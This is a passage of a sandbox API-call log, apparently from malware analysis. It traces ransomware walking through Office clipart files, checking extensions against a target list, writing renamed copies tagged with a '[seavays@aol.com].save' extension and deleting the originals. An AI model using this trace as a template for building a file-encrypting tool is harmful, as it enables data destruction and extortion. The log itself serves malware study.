Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0210.710] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.710] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0210.711] GetLastError () returned 0x0 [0210.711] ReadFile (in: hFile=0x390, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x2b04, lpOverlapped=0x0) returned 1 [0210.712] WriteFile (in: hFile=0x388, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x2b10, lpOverlapped=0x0) returned 1 [0210.713] ReadFile (in: hFile=0x390, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.713] WriteFile (in: hFile=0x388, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.713] SetEndOfFile (hFile=0x388) returned 1 [0210.713] CloseHandle (hObject=0x388) returned 1 [0210.714] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.714] SetEndOfFile (hFile=0x390) returned 1 [0210.715] CloseHandle (hObject=0x390) returned 1 [0210.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0210.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.716] lstrlenW (lpString=".doc") returned 4 [0210.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.716] lstrlenW (lpString=".docx") returned 5 [0210.716] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.716] lstrlenW (lpString=".pdf") returned 4 [0210.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.716] lstrlenW (lpString=".xls") returned 4 [0210.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.716] lstrlenW (lpString=".xlsx") returned 5 [0210.716] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.716] lstrlenW (lpString=".ppt") returned 4 [0210.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.716] lstrlenW (lpString=".zip") returned 4 [0210.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.716] lstrlenW (lpString=".rar") returned 4 [0210.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.716] lstrlenW (lpString=".bz2") returned 4 [0210.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.716] lstrlenW (lpString=".7z") returned 3 [0210.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.716] lstrlenW (lpString=".dbf") returned 4 [0210.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.716] lstrlenW (lpString=".1cd") returned 4 [0210.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.716] lstrlenW (lpString=".jpg") returned 4 [0210.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.717] lstrlenW (lpString=".doc") returned 4 [0210.717] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.717] lstrlenW (lpString=".docx") returned 5 [0210.717] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.717] lstrlenW (lpString=".pdf") returned 4 [0210.717] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.717] lstrlenW (lpString=".xls") returned 4 [0210.717] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.717] lstrlenW (lpString=".xlsx") returned 5 [0210.717] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.717] lstrlenW (lpString=".ppt") returned 4 [0210.717] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.717] lstrlenW (lpString=".zip") returned 4 [0210.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.717] lstrlenW (lpString=".rar") returned 4 [0210.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.717] lstrlenW (lpString=".bz2") returned 4 [0210.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.717] lstrlenW (lpString=".7z") returned 3 [0210.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.717] lstrlenW (lpString=".dbf") returned 4 [0210.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.717] lstrlenW (lpString=".1cd") returned 4 [0210.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0210.718] lstrlenW (lpString=".jpg") returned 4 [0210.718] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.718] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.718] lstrlenW (lpString="J0105398.WMF") returned 12 [0210.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0210.718] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=3328) returned 1 [0210.718] CloseHandle (hObject=0x390) returned 1 [0210.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0210.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0210.719] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.719] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0210.720] GetLastError () returned 0x0 [0210.720] ReadFile (in: hFile=0x390, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0xd00, lpOverlapped=0x0) returned 1 [0210.721] WriteFile (in: hFile=0x388, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xd10, lpOverlapped=0x0) returned 1 [0210.723] ReadFile (in: hFile=0x390, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.723] WriteFile (in: hFile=0x388, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.723] SetEndOfFile (hFile=0x388) returned 1 [0210.723] CloseHandle (hObject=0x388) returned 1 [0211.252] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.252] SetEndOfFile (hFile=0x390) returned 1 [0211.253] CloseHandle (hObject=0x390) returned 1 [0211.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0211.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0211.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.258] lstrlenW (lpString=".doc") returned 4 [0211.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString=".docx") returned 5 [0211.258] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.258] lstrlenW (lpString=".pdf") returned 4 [0211.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString=".xls") returned 4 [0211.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.258] lstrlenW (lpString=".xlsx") returned 5 [0211.258] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.258] lstrlenW (lpString=".ppt") returned 4 [0211.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.258] lstrlenW (lpString=".zip") returned 4 [0211.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.258] lstrlenW (lpString=".rar") returned 4 [0211.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString=".bz2") returned 4 [0211.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString=".7z") returned 3 [0211.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.259] lstrlenW (lpString=".dbf") returned 4 [0211.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.259] lstrlenW (lpString=".1cd") returned 4 [0211.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.259] lstrlenW (lpString=".jpg") returned 4 [0211.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.259] lstrlenW (lpString=".doc") returned 4 [0211.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString=".docx") returned 5 [0211.259] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0211.259] lstrlenW (lpString=".pdf") returned 4 [0211.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.259] lstrlenW (lpString=".xls") returned 4 [0211.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.259] lstrlenW (lpString=".xlsx") returned 5 [0211.259] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0211.259] lstrlenW (lpString=".ppt") returned 4 [0211.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.260] lstrlenW (lpString=".zip") returned 4 [0211.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.260] lstrlenW (lpString=".rar") returned 4 [0211.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.260] lstrlenW (lpString=".bz2") returned 4 [0211.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.260] lstrlenW (lpString=".7z") returned 3 [0211.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.260] lstrlenW (lpString=".dbf") returned 4 [0211.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.260] lstrlenW (lpString=".1cd") returned 4 [0211.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0211.260] lstrlenW (lpString=".jpg") returned 4 [0211.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.009] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.009] lstrlenW (lpString="J0105638.WMF") returned 12 [0212.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.010] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=10364) returned 1 [0212.010] CloseHandle (hObject=0x35c) returned 1 [0212.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 0x220 [0212.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.011] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.011] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0212.012] GetLastError () returned 0x0 [0212.012] ReadFile (in: hFile=0x35c, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x287c, lpOverlapped=0x0) returned 1 [0212.013] WriteFile (in: hFile=0x368, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0x2880, lpOverlapped=0x0) returned 1 [0212.014] ReadFile (in: hFile=0x35c, lpBuffer=0x36e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.015] WriteFile (in: hFile=0x368, lpBuffer=0x36e7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x36e7020*, lpNumberOfBytesWritten=0x302fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.015] SetEndOfFile (hFile=0x368) returned 1 [0212.015] CloseHandle (hObject=0x368) returned 1 [0212.015] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.015] SetEndOfFile (hFile=0x35c) returned 1 [0212.016] CloseHandle (hObject=0x35c) returned 1 [0212.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0212.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0212.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.017] lstrlenW (lpString=".doc") returned 4 [0212.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.018] lstrlenW (lpString=".docx") returned 5 [0212.018] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0212.018] lstrlenW (lpString=".pdf") returned 4 [0212.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.018] lstrlenW (lpString=".xls") returned 4 [0212.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.018] lstrlenW (lpString=".xlsx") returned 5 [0212.018] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0212.018] lstrlenW (lpString=".ppt") returned 4 [0212.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.018] lstrlenW (lpString=".zip") returned 4 [0212.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.018] lstrlenW (lpString=".rar") returned 4 [0212.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.018] lstrlenW (lpString=".bz2") returned 4 [0212.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.018] lstrlenW (lpString=".7z") returned 3 [0212.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.018] lstrlenW (lpString=".dbf") returned 4 [0212.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.018] lstrlenW (lpString=".1cd") returned 4 [0212.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.019] lstrlenW (lpString=".jpg") returned 4 [0212.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.019] lstrlenW (lpString=".doc") returned 4 [0212.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.019] lstrlenW (lpString=".docx") returned 5 [0212.019] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0212.019] lstrlenW (lpString=".pdf") returned 4 [0212.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.019] lstrlenW (lpString=".xls") returned 4 [0212.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.019] lstrlenW (lpString=".xlsx") returned 5 [0212.019] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0212.019] lstrlenW (lpString=".ppt") returned 4 [0212.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.019] lstrlenW (lpString=".zip") returned 4 [0212.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.019] lstrlenW (lpString=".rar") returned 4 [0212.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.019] lstrlenW (lpString=".bz2") returned 4 [0212.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.020] lstrlenW (lpString=".7z") returned 3 [0212.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.020] lstrlenW (lpString=".dbf") returned 4 [0212.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.020] lstrlenW (lpString=".1cd") returned 4 [0212.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0212.020] lstrlenW (lpString=".jpg") returned 4 [0212.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.020] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0212.020] lstrlenW (lpString="J0105710.WMF") returned 12 [0212.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.021] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=13808) returned 1 [0212.021] CloseHandle (hObject=0x35c) returned 1 [0212.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0212.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0212.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0212.021] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.022] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[seavays@aol.com].save" 